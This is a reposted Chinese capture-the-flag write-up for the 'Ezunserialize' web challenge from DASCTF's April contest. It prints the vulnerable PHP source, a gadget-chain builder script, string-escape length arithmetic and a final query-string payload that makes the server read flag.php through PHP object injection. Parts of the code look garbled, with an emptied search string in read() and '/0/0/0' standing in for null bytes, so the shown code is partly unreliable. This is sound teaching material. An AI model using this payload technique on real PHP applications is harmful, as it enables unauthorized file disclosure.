• DASCTF4月赛web题Ezunserialize


    0x00题目源码

    <?php
    show_source("index.php");
    function write($data) {
        return str_replace(chr(0) . '*' . chr(0), '', $data);
    }
    
    function read($data) {
        return str_replace('', chr(0) . '*' . chr(0), $data);
    }
    
    class A{
        public $username;
        public $password;
        function __construct($a, $b){
            $this->username = $a;
            $this->password = $b;
        }
    }
    
    class B{
        public $b = 'gqy';
        function __destruct(){
            $c = 'a'.$this->b;
            echo $c;
        }
    }
    
    class C{
        public $c;
        function __toString(){
            //flag.php
            echo file_get_contents($this->c);
            return 'nice';
        }
    }
    
    $a = new A($_GET['a'],$_GET['b']);
    //省略了存储序列化数据的过程,下面是取出来并反序列化的操作
    $b = unserialize(read(write(serialize($a))));

    0x01 反序列化漏洞

    __destruct魔法函数:当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。

    __tostring魔法函数:当对象被当作字符串使用时调用

    如果$b不是字符串类型,c的实例当做字符串拼接,从而使得__tostring执行

    要想__destruct魔术方法被调用,则需要B的实例反序列化,因此要借用read以及write的漏洞

    <?php
    class A{
        public $username;
        public $password;
        
    }
    
    class B{
        public $b = 'gqy';
    }
    
    class C{
        public $c;
        
    }
    $C = new C();
    $C->c="flag.php";
    $B=new B();
    $B->b = $C;
    $A=new A();
    $A->username = "admin";
    $A->password = $B;
    echo serialize($A);
    
    
    ?>
    

     得到 O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

    0x02 字符逃逸

    现在问题是有read以及write两个函数的限定,write是将chr(0)*chr(0)变为/0/0/0----3字节变成6个字节,read相反,chr(0)是空,但是任然算作字节。

    字符逃逸的目的是将;s:8:"password";给吞掉,从而可以反序列化后面的构造。

    以下引用大佬的博客:https://blog.csdn.net/qq_41918771/article/details/105754357

     我们传入参数a=&b=c";s:8:"password";s:4:"1234";}}。

     

    看一下。我们传入的b参数的值为c";s:8:"password";s:4:"1234";}}。这个值会赋值给$a的password属性。按理说。password的值应该是c";s:8:"password";s:4:"1234";}}。但是看上图,值是1234。
    下面来分析一下:

    1. # 序列化后经过read函数的值
    2. O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:31:"c";s:8:"password";s:4:"1234";}}";}
    3. # 反序列化后的值
    4. object(A)#2 (2) { ["username"]=> string(48) "********";s:8:"password";s:31:"c" ["password"]=> string(4) "1234" }
    5. #username的值
    6. ********";s:8:"password";s:31:"c
    7. # password的值为1234

    序列化是在第一个大括号截至的 ,后面可以全都忽略,前面/0/0/0的个数取决于后面构造的长度,目的是为了凑够username之前username的字符个数,否则就会报错。

    例如

    ";s:8:"password";s:77:"1234
    

     是27个字符,/0/0/0一共有x个字符,/0/0/0 6个变成3个,字符数减半,所以x=x/2+27 => x =54 所以有9组/0/0/0

    最后paload就是:

    a=&b=1234";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
    

  • 相关阅读:
    浅谈JS严格模式
    浅谈自记忆函数
    浅谈padding
    JS在if中的强制类型转换
    JS正则表达式从入门到入土(10)—— 字符串对象方法
    JS正则表达式从入门到入土(9)—— test方法以及它的那些坑
    JS正则表达式从入门到入土(8)—— REGEXP对象属性
    从零开始的vue学习笔记(四)
    从零开始的vue学习笔记(三)
    从零开始的vue学习笔记(二)
  • 原文地址:https://www.cnblogs.com/jiluxuexi/p/12813590.html
Copyright © 2020-2023  润新知